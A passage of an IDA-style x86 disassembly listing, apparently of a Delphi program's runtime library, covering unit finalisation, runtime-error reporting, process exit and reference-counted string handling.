; FUNCTION CHUNK AT 00402F84 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_407620
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_403251
		mov	ebx, [esi+0Ch]
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40323D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jle	short loc_403233


loc_403218:				; CODE XREF: sub_4031E8+49j
		dec	ebx
		mov	[esi+0Ch], ebx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+ebx*8+4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40322F
		call	[ebp+var_8]


loc_40322F:				; CODE XREF: sub_4031E8+42j
		test	ebx, ebx
		jg	short loc_403218


loc_403233:				; CODE XREF: sub_4031E8+2Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_403251
; ---------------------------------------------------------------------------


loc_40323D:				; DATA XREF: sub_4031E8+21o
		jmp	loc_402E60
; ---------------------------------------------------------------------------
		call	sub_4031E8
		call	sub_402FC4
		call	sub_403018


loc_403251:				; CODE XREF: sub_4031E8+13j
					; sub_4031E8+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4031E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403258	proc near		; CODE XREF: sub_4032C8+3Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_407620
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_4032C1
		mov	esi, [eax]
		xor	ebx, ebx
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4032AD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	esi, ebx
		jle	short loc_4032A3


loc_403289:				; CODE XREF: sub_403258+49j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+ebx*8]
		mov	[ebp+var_8], eax
		inc	ebx
		mov	[edi+0Ch], ebx
		cmp	[ebp+var_8], 0
		jz	short loc_40329F
		call	[ebp+var_8]


loc_40329F:				; CODE XREF: sub_403258+42j
		cmp	esi, ebx
		jg	short loc_403289


loc_4032A3:				; CODE XREF: sub_403258+2Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4032C1
; ---------------------------------------------------------------------------


loc_4032AD:				; DATA XREF: sub_403258+22o
		jmp	loc_402E60
; ---------------------------------------------------------------------------
		call	sub_4031E8
		call	sub_402FC4
		call	sub_403018


loc_4032C1:				; CODE XREF: sub_403258+13j
					; sub_403258+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_403258	endp


; =============== S U B	R O U T	I N E =======================================



sub_4032C8	proc near		; CODE XREF: sub_403C94+3Ap
		mov	ds:off_407010, offset sub_401008
		mov	ds:off_407014, offset sub_401010
		mov	ds:off_407628, eax
		xor	eax, eax
		mov	ds:dword_40762C, eax
		mov	ds:off_407630, edx
		mov	eax, [edx+4]
		mov	ds:dword_40701C, eax
		call	sub_4031A0
		mov	ds:byte_407024,	0
		call	sub_403258
		retn
sub_4032C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403308	proc near		; CODE XREF: sub_403420+34p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	cl, 10h
		mov	ebx, ds:dword_406000


loc_403318:				; CODE XREF: sub_403308+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
		dec	ecx
		test	ebx, ebx
		jnz	short loc_403318
		mov	cl, 1Ch
		mov	eax, ds:dword_406004


loc_403344:				; CODE XREF: sub_403308+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, ds:byte_406078[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_403344
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403308	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403364	proc near		; CODE XREF: sub_403420+A4p
		xor	eax, eax
		xchg	eax, ds:dword_406000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_407620
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_403364	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403394	proc near		; CODE XREF: sub_403420+39p

var_4		= byte ptr -4

		push	ecx
		cmp	ds:byte_407034,	0
		jz	short loc_4033F5
		cmp	ds:word_407208,	0D7B2h
		jnz	short loc_4033BD
		cmp	ds:dword_407210, 0
		jbe	short loc_4033BD
		mov	eax, offset dword_407204
		call	ds:dword_407220


loc_4033BD:				; CODE XREF: sub_403394+13j
					; sub_403394+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0FFFFFFF5h
		call	sub_401000	; GetStdHandle
		push	eax
		call	sub_401020	; WriteFile
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	2
		push	offset dword_40341C
		push	0FFFFFFF5h
		call	sub_401000	; GetStdHandle
		push	eax
		call	sub_401020	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_4033F5:				; CODE XREF: sub_403394+8j
		cmp	ds:byte_40601C,	0
		jnz	short loc_403411
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_401038	; MessageBoxA


loc_403411:				; CODE XREF: sub_403394+68j
		pop	edx
		retn
sub_403394	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_40341C	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403420	proc near		; CODE XREF: sub_403500+5p
					; CODE:00404EC6p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, offset dword_407620
		mov	esi, offset dword_407030
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_40344B
		cmp	dword ptr [esi], 0
		jz	short loc_40344B


loc_40343A:				; CODE XREF: sub_403420+29j
		mov	eax, [esi]
		mov	[esp+14h+var_14], eax
		xor	eax, eax
		mov	[esi], eax
		call	[esp+14h+var_14]
		cmp	dword ptr [esi], 0
		jnz	short loc_40343A


loc_40344B:				; CODE XREF: sub_403420+13j
					; sub_403420+18j
		cmp	ds:dword_406004, 0
		jz	short loc_403465
		call	sub_403308
		call	sub_403394
		xor	eax, eax
		mov	ds:dword_406004, eax


loc_403465:				; CODE XREF: sub_403420+32j
					; sub_403420+D5j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_403479
		cmp	ds:dword_406000, 0
		jnz	short loc_403479
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_403479:				; CODE XREF: sub_403420+49j
					; sub_403420+52j
		call	sub_4031E8
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_40348D
		cmp	ds:dword_406000, 0
		jz	short loc_4034B0


loc_40348D:				; CODE XREF: sub_403420+62j
		mov	edi, [ebx+10h]
		test	edi, edi
		jz	short loc_4034B0
		mov	eax, edi
		call	sub_403998
		mov	ebp, [ebx+10h]
		mov	esi, [ebp+10h]
		cmp	esi, [ebp+4]
		jz	short loc_4034B0
		test	esi, esi
		jz	short loc_4034B0
		push	esi
		call	sub_401040	; FreeLibrary


loc_4034B0:				; CODE XREF: sub_403420+6Bj
					; sub_403420+72j ...
		call	sub_4031C0
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_4034BE
		call	dword ptr [ebx+24h]


loc_4034BE:				; CODE XREF: sub_403420+99j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_4034C9
		call	sub_403364


loc_4034C9:				; CODE XREF: sub_403420+A2j
		cmp	dword ptr [ebx], 0
		jnz	short loc_4034E8
		cmp	ds:dword_407018, 0
		jz	short loc_4034DD
		call	ds:dword_407018


loc_4034DD:				; CODE XREF: sub_403420+B5j
		mov	eax, ds:dword_406000
		push	eax
		call	sub_401030	; ExitProcess


loc_4034E8:				; CODE XREF: sub_403420+ACj
		mov	eax, [ebx]
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		jmp	loc_403465
sub_403420	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403500	proc near		; CODE XREF: sub_40286C+6p
					; sub_40350C+6j ...
		mov	ds:dword_406000, eax
		call	sub_403420
sub_403500	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40350C	proc near		; CODE XREF: CODE:00403195j
					; sub_403BF8+1Bp ...
		pop	ds:dword_406004
		jmp	sub_403500
sub_40350C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403518	proc near		; CODE XREF: sub_402A84+Ep
					; sub_4035DC+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_40353A
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_40353A
		lock dec dword ptr [edx-8]
		jnz	short locret_40353A
		push	eax
		lea	eax, [edx-8]
		call	sub_4027FC
		pop	eax

locret_40353A:				; CODE XREF: sub_403518+4j
					; sub_403518+10j ...
		retn
sub_403518	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40353C	proc near		; CODE XREF: sub_4042A4+18Dp
					; sub_4042A4+1A2p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_403542:				; CODE XREF: sub_40353C+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_403562
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_403562
		lock dec dword ptr [edx-8]
		jnz	short loc_403562
		lea	eax, [edx-8]
		call	sub_4027FC


loc_403562:				; CODE XREF: sub_40353C+Aj
					; sub_40353C+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_403542
		pop	esi
		pop	ebx
		retn
sub_40353C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40356C	proc near		; CODE XREF: sub_403688+8j
					; sub_4042A4+173p ...
		test	edx, edx
		jz	short loc_403594
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_403590
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_4035B0
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_4028E0
		pop	edx
		pop	eax
		jmp	short loc_403594
; ---------------------------------------------------------------------------


loc_403590:				; CODE XREF: sub_40356C+8j
		lock inc dword ptr [edx-8]


loc_403594:				; CODE XREF: sub_40356C+2j
					; sub_40356C+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_4035AE
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_4035AE
		lock dec dword ptr [edx-8]
		jnz	short locret_4035AE
		lea	eax, [edx-8]
		call	sub_4027FC

locret_4035AE:				; CODE XREF: sub_40356C+2Cj
					; sub_40356C+32j ...
		retn
sub_40356C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4035B0	proc near		; CODE XREF: sub_40356C+Fp
					; sub_4035DC+Bp ...
		test	eax, eax
		jle	short loc_4035D8
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_4027CC
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_4035D8:				; CODE XREF: sub_4035B0+2j
		xor	eax, eax
		retn
sub_4035B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4035DC	proc near		; CODE XREF: sub_402A84+30p
					; sub_403628+8p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_4035B0
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_4035FD
		mov	edx, eax
		mov	eax, esi
		call	sub_4028E0


loc_4035FD:				; CODE XREF: sub_4035DC+16j
		mov	eax, ebx
		call	sub_403518
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4035DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40360C	proc near		; CODE XREF: sub_4037E0+3Bp
					; sub_4037E0+69p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edx
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	ecx
		push	0
		mov	eax, ds:dword_4075A8
		push	eax
		call	sub_401070	; MultiByteToWideChar
		pop	ebp
		retn	4
sub_40360C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403628	proc near		; CODE XREF: sub_4042A4+130p
					; sub_4042A4+153p
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_4035DC
		pop	edx
		retn
sub_403628	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403638	proc near		; CODE XREF: CODE:00404B31p
					; CODE:00404B58p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_40365F
		push	edx


loc_40363F:				; CODE XREF: sub_403638+1Dj
		cmp	cl, [edx]
		jz	short loc_40365A
		cmp	cl, [edx+1]
		jz	short loc_403659
		cmp	cl, [edx+2]
		jz	short loc_403658
		cmp	cl, [edx+3]
		jz	short loc_403657
		add	edx, 4
		jmp	short loc_40363F
; ---------------------------------------------------------------------------


loc_403657:				; CODE XREF: sub_403638+18j
		inc	edx


loc_403658:				; CODE XREF: sub_403638+13j
		inc	edx


loc_403659:				; CODE XREF: sub_403638+Ej
		inc	edx


loc_40365A:				; CODE XREF: sub_403638+9j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx


loc_40365F:				; CODE XREF: sub_403638+4j
		jmp	sub_4035DC
sub_403638	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403668	proc near		; CODE XREF: sub_403A1C+36p
					; CODE:00404DBDp
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_403675
		not	ecx


loc_403675:				; CODE XREF: sub_403668+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_4035DC
sub_403668	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403680	proc near		; CODE XREF: sub_4042A4+48p
					; sub_4042A4+93p ...
		test	eax, eax
		jz	short locret_403687
		mov	eax, [eax-4]

locret_403687:				; CODE XREF: sub_403680+2j
		retn
sub_403680	endp


; =============== S U B	R O U T	I N E =======================================



sub_403688	proc near		; CODE XREF: sub_4042A4+13Bp
					; sub_4042A4+15Ep
		test	edx, edx
		jz	short locret_4036CB
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_40356C
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_4036C0
		call	sub_403734
		mov	eax, esi
		mov	ecx, [esi-4]


loc_4036B3:				; CODE XREF: sub_403688+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_4028E0
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4036C0:				; CODE XREF: sub_403688+1Fj
		call	sub_403734
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_4036B3
; ---------------------------------------------------------------------------

locret_4036CB:				; CODE XREF: sub_403688+2j
		retn
sub_403688	endp


; =============== S U B	R O U T	I N E =======================================



sub_4036CC	proc near		; CODE XREF: sub_403E54+14p
					; sub_4042A4+20p ...
		test	eax, eax
		jz	short locret_4036DA
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_4036DA
		lock inc dword ptr [eax-8]

locret_4036DA:				; CODE XREF: sub_4036CC+2j
					; sub_4036CC+8j
		retn
sub_4036CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4036DC	proc near		; CODE XREF: sub_403E54+82p
					; CODE:00404779p ...
		test	eax, eax
		jz	short loc_4036E2
		retn
; ---------------------------------------------------------------------------
byte_4036E1	db 0			; DATA XREF: sub_4036DC:loc_4036E2o
; ---------------------------------------------------------------------------


loc_4036E2:				; CODE XREF: sub_4036DC+2j
		mov	eax, offset byte_4036E1
		retn
sub_4036DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4036E8	proc near		; CODE XREF: sub_40372Cj
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_403726
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_403726
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_4035B0
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_4028E0
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_403723
		lock dec dword ptr [eax-8]
		jnz	short loc_403723
		lea	eax, [eax-8]
		call	sub_4027FC


loc_403723:				; CODE XREF: sub_4036E8+2Bj
					; sub_4036E8+31j
		mov	edx, [ebx]
		pop	ebx


loc_403726:				; CODE XREF: sub_4036E8+4j
					; sub_4036E8+Aj
		mov	eax, edx
		retn
sub_4036E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40372C	proc near		; CODE XREF: CODE:00404D6Cp
					; CODE:00404E33p
		jmp	sub_4036E8
sub_40372C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403734	proc near		; CODE XREF: sub_402920+B3p
					; sub_403688+21p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_403789
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40376A
		cmp	dword ptr [eax-8], 1
		jnz	short loc_40376A
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_40281C
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_403792
; ---------------------------------------------------------------------------


loc_40376A:				; CODE XREF: sub_403734+11j
					; sub_403734+17j
		mov	eax, edx
		call	sub_4035B0
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_403789
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_403784
		mov	ecx, esi


loc_403784:				; CODE XREF: sub_403734+4Cj
		call	sub_4028E0


loc_403789:				; CODE XREF: sub_403734+Bj
					; sub_403734+43j
		mov	eax, ebx
		call	sub_403518
		mov	[ebx], edi


loc_403792:				; CODE XREF: sub_403734+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403734	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_4037A0


loc_403798:				; CODE XREF: sub_4037A0+Ej
					; sub_40386C+12j
		mov	al, 1
		jmp	sub_4028C4
; END OF FUNCTION CHUNK	FOR sub_4037A0
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4037A0	proc near		; CODE XREF: sub_4038DC+12p

; FUNCTION CHUNK AT 00403798 SIZE 00000007 BYTES

		test	eax, eax
		jz	short locret_4037B4
		push	eax
		push	0
		call	sub_401090
		test	eax, eax
		jz	loc_403798

locret_4037B4:				; CODE XREF: sub_4037A0+2j
		retn
sub_4037A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4037B8	proc near		; CODE XREF: sub_4038DC+3Ep
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_4037C4
		push	edx
		call	sub_401098

locret_4037C4:				; CODE XREF: sub_4037B8+4j
		retn
sub_4037B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4037C8	proc near		; CODE XREF: sub_4037E0+1Bp
					; sub_40386C+2j ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_4037DC
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		call	sub_401098
		pop	eax

locret_4037DC:				; CODE XREF: sub_4037C8+4j
		retn
sub_4037C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4037E0	proc near		; CODE XREF: sub_403890:loc_4038B7j

var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFFCh
		mov	esi, ecx
		mov	[esp+1014h+var_1014], edx
		mov	edi, eax
		test	esi, esi
		jg	short loc_403802
		mov	eax, edi
		call	sub_4037C8
		jmp	short loc_40385F
; ---------------------------------------------------------------------------


loc_403802:				; CODE XREF: sub_4037E0+17j
		lea	ebp, [esi+1]
		cmp	ebp, 7FFh
		jge	short loc_403835
		push	esi
		lea	eax, [esp+1018h+var_1010]
		mov	ecx, [esp+1018h+var_1014]
		mov	edx, 7FFh
		call	sub_40360C
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_403835
		lea	edx, [esp+1014h+var_1010]
		mov	eax, edi
		mov	ecx, ebx
		call	sub_40386C
		jmp	short loc_40385F
; ---------------------------------------------------------------------------


loc_403835:				; CODE XREF: sub_4037E0+2Bj
					; sub_4037E0+44j
		mov	ebx, ebp
		mov	eax, edi
		mov	edx, ebx
		call	sub_4038DC
		push	esi
		mov	eax, [edi]
		mov	ecx, [esp+1018h+var_1014]
		mov	edx, ebx
		call	sub_40360C
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_403856
		xor	ebx, ebx


loc_403856:				; CODE XREF: sub_4037E0+72j
		mov	eax, edi
		mov	edx, ebx
		call	sub_4038DC


loc_40385F:				; CODE XREF: sub_4037E0+20j
					; sub_4037E0+53j
		add	esp, 1004h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4037E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40386C	proc near		; CODE XREF: sub_4037E0+4Ep
		test	ecx, ecx
		jz	sub_4037C8
		push	eax
		push	ecx
		push	edx
		call	sub_401090
		test	eax, eax
		jz	loc_403798
		pop	edx
		push	dword ptr [edx]
		mov	[edx], eax
		call	sub_401098
		retn
sub_40386C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403890	proc near		; CODE XREF: CODE:0040479Fp
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_4038B7
		push	edx


loc_403897:				; CODE XREF: sub_403890+1Dj
		cmp	cl, [edx]
		jz	short loc_4038B2
		cmp	cl, [edx+1]
		jz	short loc_4038B1
		cmp	cl, [edx+2]
		jz	short loc_4038B0
		cmp	cl, [edx+3]
		jz	short loc_4038AF
		add	edx, 4
		jmp	short loc_403897
; ---------------------------------------------------------------------------


loc_4038AF:				; CODE XREF: sub_403890+18j
		inc	edx


loc_4038B0:				; CODE XREF: sub_403890+13j
		inc	edx


loc_4038B1:				; CODE XREF: sub_403890+Ej
		inc	edx


loc_4038B2:				; CODE XREF: sub_403890+9j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx


loc_4038B7:				; CODE XREF: sub_403890+4j
		jmp	sub_4037E0
sub_403890	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4038C0	proc near		; CODE XREF: CODE:004047A7p
		test	eax, eax
		jz	short loc_4038C8
		retn
; ---------------------------------------------------------------------------
		align 2
word_4038C6	dw 0			; DATA XREF: sub_4038C0:loc_4038C8o
; ---------------------------------------------------------------------------


loc_4038C8:				; CODE XREF: sub_4038C0+2j
		mov	eax, offset word_4038C6
		retn
sub_4038C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4038D0	proc near		; CODE XREF: sub_4038DC+1Cp
		test	eax, eax
		jz	short locret_4038D9
		mov	eax, [eax-4]
		shr	eax, 1

locret_4038D9:				; CODE XREF: sub_4038D0+2j
		retn
sub_4038D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4038DC	proc near		; CODE XREF: sub_4037E0+5Bp
					; sub_4037E0+7Ap

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[esp+0Ch+var_C], eax
		test	ebx, ebx
		jle	short loc_403915
		mov	eax, ebx
		call	sub_4037A0
		mov	[esp+0Ch+var_C], eax
		mov	eax, [esi]
		call	sub_4038D0
		test	eax, eax
		jle	short loc_403915
		cmp	ebx, eax
		jge	short loc_403907
		mov	eax, ebx


loc_403907:				; CODE XREF: sub_4038DC+27j
		mov	ecx, eax
		add	ecx, ecx
		mov	edx, [esp+0Ch+var_C]
		mov	eax, [esi]
		call	sub_4028E0


loc_403915:				; CODE XREF: sub_4038DC+Ej
					; sub_4038DC+23j
		mov	eax, esi
		mov	edx, [esp+0Ch+var_C]
		call	sub_4037B8
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4038DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403924	proc near		; DATA XREF: sub_403AE4+2Fo
					; BSS:off_407000o
		mov	al, 11h
		jmp	sub_4028C4
sub_403924	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40392C	proc near		; CODE XREF: sub_403998+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_406024
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40397F


loc_403946:				; CODE XREF: sub_40392C+51j
		xor	eax, eax
		push	ebp
		push	offset loc_403967
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_403971
; ---------------------------------------------------------------------------


loc_403967:				; DATA XREF: sub_40392C+1Do
		jmp	loc_402E60
; ---------------------------------------------------------------------------
		call	sub_403018


loc_403971:				; CODE XREF: sub_40392C+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_403946


loc_40397F:				; CODE XREF: sub_40392C+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40392C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403988	proc near		; CODE XREF: sub_403C88+5p
		mov	edx, ds:dword_406020
		mov	[eax], edx
		mov	ds:dword_406020, eax
		retn
sub_403988	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403998	proc near		; CODE XREF: sub_403420+76p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_403A11
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_40392C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403A18


loc_4039C7:				; CODE XREF: sub_403998+7Ej
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_406020
		jnz	short loc_4039DE
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_406020, eax
		jmp	short loc_403A10
; ---------------------------------------------------------------------------


